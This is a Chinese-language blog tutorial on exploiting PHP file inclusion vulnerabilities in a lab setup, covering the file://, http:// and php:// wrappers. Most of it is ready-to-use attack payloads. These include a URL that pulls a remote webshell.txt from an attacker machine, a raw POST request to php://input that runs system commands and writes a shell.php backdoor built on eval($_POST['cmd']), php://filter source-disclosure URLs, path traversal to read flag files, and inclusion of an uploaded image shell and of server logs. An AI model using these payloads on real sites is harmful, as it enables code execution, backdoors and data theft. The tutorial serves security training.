目录
一、file://协议
1.介绍
file://是一种用于访问本地文件系统的URI(Uniform Resource Identifier)协议。在PHP中,file://协
议可以用于打开本地文件,也可以用于包含本地文件。
2.利用条件
allow_url_fopen = Off
allow_url_include = Off
使用绝对地址
3.利用方法
http://192.168.59.129/5/demo1/baohan.php?
file=file://D:/phpStudy/PHPTutorial/WWW/flag.txt
二、http://协议
1.介绍
http://是一种用于在Web上定位资源的URI(Uniform Resource Identifier)协议。在PHP中,http://
协议可以用于访问远程HTTP服务器上的资源,也可以用于包含远程文件
2.使用条件
allow_url_fopen = on
allow_url_include = on
3.利用方法
http://192.168.59.129/5/demo1/baohan.php?
file=http://192.168.59.128:8000/webshell.txt
三、php://协议
1.介绍
php://是一种PHP提供的伪协议(wrapper),用于在PHP中访问各种输入和输出流。在文件包含漏洞中,攻击者可以利用php://伪协议来读取和执行本地文件
- php伪协议有几个方法,其中用的比较多的是php://input方法和php://fiter方法
- php://input:可以访问请求的原始数据的只读流,在 POST 请求中 访问 POST 的 data 部分,在
enctype="multipart/form-data" 的时候 php://input 是无效的。主要用来执行代码。
- php://filter:是一种过滤器伪协议,可以用于对数据流进行过滤,例如对文件进行 base64 编码。攻击者可以利用该伪协议来读取本地文件中的代码。主要用来读取源码
2.php://input方法
⑴前提条件
allow_url_fopen = on
allow_url_include = on
⑵利用包
POST /5/demo1/baohan.php?file=php://input HTTP/1.1
Host: 192.168.59.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101Firefox/102.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=dibdm203c34fk31ofunudueah3
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
<?php phpinfo(); ?>
<?php system('dir') ?>
<?php fputs(fopen('shell.php','a'),'<?php @eval($_POST[\'cmd\']);phpinfo();?') ?
>
3.php://filte方法
⑴前提条件
allow_url_include=on/off
allow_url_fopen=on/off
⑵格式
php://filter/过滤器名/resource=文件名
参数详解:
resource=<要过滤的数据流>
read=<读链的过滤器>
write=<写链的筛选列表>
其中可用的过滤器列表:
convert.base64-encode:将输入转换成 base64 编码的格式
convert.base64-decode:将输入从 base64 编码还原成原始格式
convert.quoted-printable-encode:将输入转换成 quoted-printable 编码的格式
convert.quoted-printable-decode:将输入从 quoted-printable 编码还原成原始格式
convert.iconv.*:使用 iconv 库对输入进行转码
string.rot13:使用 ROT13 算法对输入进行加密
string.toupper:将输入中的所有字母转换成大写形式
string.tolower:将输入中的所有字母转换成小写形式
利用url:
php://filter/过滤器名/resource=文件名
192.168.59.129/5/demo1/baohan.php?file=php://filter/read=convert.base64-
encode/resource=D:\phpStudy\PHPTutorial\WWW\5\demo1\baohan.php
四、案例(包含本地文件)
1.包含敏感信息
http://192.168.59.129/pikachu/vul/fileinclude/fi_local.php?
filename=../../../../flag.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
2.包含图片
http://192.168.59.129/pikachu/vul/fileinclude/fi_local.php?
filename=../../unsafeupload/uploads/shell.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%
E8%AF%A2
3.包含日志文件
http://192.168.59.129/5/demo1/baohan.php?
file=D:\phpStudy\PHPTutorial\Apache\logs\error.log
标签:文件,http,allow,包含,url,192.168,漏洞,file,php
From: https://blog.csdn.net/a770067334/article/details/139868236